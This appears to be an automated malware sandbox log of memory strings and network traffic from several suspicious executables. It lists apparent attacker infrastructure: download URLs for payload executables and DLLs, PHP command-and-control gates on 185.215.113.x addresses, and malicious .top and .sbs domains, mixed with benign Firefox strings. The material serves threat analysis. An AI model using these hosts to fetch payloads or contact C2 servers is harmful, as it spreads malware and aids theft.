Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3343522083.000001E16E159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3343522083.000001E16E159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3343522083.000001E16E159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3415085097.00002CC258A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://devtools/shared/security/socket.js{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Got invalid request to save JSON datadevtools/client/framework/devtools^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$Failed to listen. Callback argument missing.devtools.performance.recording.ui-base-urlreleaseDistinctSystemPrincipalLoaderresource://devtools/server/devtools-server.jsbrowser and that URL. Falling back to devtools.debugger.remote-websocketand deploy previews URLs are allowed.Failed to listen. Listener already attached.Failed to execute WebChannel callback:No callback set for this channel.devtools/client/framework/devtools-browserUnable to start devtools server on devtools.debugger.features.javascript-tracingJSON Viewer's onSave failed in startPersistencedevtools-commandkey-profiler-capturedevtools.performance.popup.feature-flagDevToolsStartup.jsm:handleDebuggerFlagDevTools telemetry entry point failed: WebChannel/this._originCheckCallbackdevtools-commandkey-javascript-tracing-toggle@mozilla.org/network/protocol;1?name=default@mozilla.org/network/protocol;1?name=file@mozilla.org/uriloader/handler-service;1devtools-commandkey-profiler-start-stopbrowser.fixup.dns_first_for_single_words@mozilla.org/dom/slow-script-debug;1browser.urlbar.dnsResolveFullyQualifiedNamesCan't invoke URIFixup in the content processresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/JSONFile.sys.mjshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1gecko.handlerService.defaultHandlersVersion@mozilla.org/uriloader/web-handler-app;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPresource://gre/modules/NetUtil.sys.mjshttps://mail.inbox.lv/compose?to=%s_injectDefaultProtocolHandlersIfNeeded^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)get FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIextractScheme/fixupChangedProtocol<Scheme should be either http or httpsisDownloadsImprovementsAlreadyMigrated^([a-z+.-]+:\/{0,3})*([^\/@]+@).+browser.fixup.domainsuffixwhitelist.http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl/mh/?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/local-handler-app;1{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1@mozilla.org/network/async-stream-copier;1Must have a source and a callbacknewChannel requires a single object argumentSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamresource://gre/modules/JSONFile.sys.mjsNon-zero amount of bytes must be specified_finali
Source: firefox.exe, 00000019.00000002.3415085097.00002CC258A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3362242841.000001E170140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3415085097.00002CC258A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3351329432.000001E16EB0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3360459881.000001E16FFCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 00000019.00000002.3303449786.000001E15E16D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E1765D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3245061930.000001E1765D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3241073211.000001E177AC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3241073211.000001E177AAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3241073211.000001E177A76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3241073211.000001E177A7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3343522083.000001E16E159000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3241073211.000001E177A98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3241073211.000001E177AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: c9ac8940e6.exe, 0000000A.00000003.3686519622.0000000001677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3616618851.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: c9ac8940e6.exe, 0000000A.00000003.3746432077.000000000164F000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3766637179.000000000164F000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3764496783.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: c9ac8940e6.exe, 0000000A.00000002.3763115848.00000000012FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: c9ac8940e6.exe, 0000000A.00000003.3746432077.000000000164F000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3766637179.000000000164F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exes
Source: c9ac8940e6.exe, 0000000A.00000003.3746432077.000000000164F000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3766637179.000000000164F000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3686519622.0000000001677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: c9ac8940e6.exe, 0000000A.00000003.3746432077.000000000164F000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3766637179.000000000164F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exejKy
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000ED7000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll:5
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dlli5
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll6
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllM
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllm
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024128000.00000004.00000020.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000ED7000.00000040.00000001.01000000.0000000B.sdmp, 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&5
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php25
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpHO
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000ED7000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phper
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phppresolver.dlli
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpr1
Source: skotes.exe, 00000006.00000003.4050098560.00000000011D8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4050018857.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4236336443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000003.4050098560.00000000011D8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4236336443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php1001
Source: skotes.exe, 00000006.00000003.4050098560.00000000011D8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4236336443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: firefox.exe, 00000019.00000002.3395678334.000001E17663A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000019.00000002.3395678334.000001E17663A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000019.00000002.3395678334.000001E17663A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000019.00000002.3395678334.000001E17663A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://www.inbox.lv/rfc2368/?value=%shttp://poczta.i
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: c9ac8940e6.exe, 00000008.00000003.2977149973.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 00000008.00000003.2977350356.000000000110A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: c9ac8940e6.exe, 0000000A.00000003.3478494612.00000000015F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microh9d
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000019.00000002.3375424628.000001E170EE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3316015574.000001E16A110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000019.00000002.3378267040.000001E171723000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3378267040.000001E1717F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlshouldSkipCheckForBrokenURLOrZeroSizedACTIVITY_SUBTYPE
Source: firefox.exe, 00000019.00000002.3310354095.000001E1699EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000019.00000002.3308646555.000001E169826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000019.00000002.3308646555.000001E169859000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000019.00000002.3308646555.000001E169826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000019.00000002.3308646555.000001E169859000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000019.00000002.3308646555.000001E169826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: firefox.exe, 00000019.00000002.3393078737.000001E1765F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3408848353.000001E178103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3344343074.000001E16E23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3250136370.000001E1708D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3233706111.000001E178193000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413144329.000001E40003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3365383883.000001E170503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B73B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3381431417.000001E1719E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3375424628.000001E170EC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3245061930.000001E1765F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3408848353.000001E178163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E17782F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3344343074.000001E16E203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3335271931.000001E16D8E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3350787266.000001E16E9E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3378267040.000001E1717A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3368775860.000001E17077A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3344343074.000001E16E206000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3381431417.000001E171954000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3313377233.000001E169E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000019.00000002.3347101490.000001E16E51E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3378267040.000001E171753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
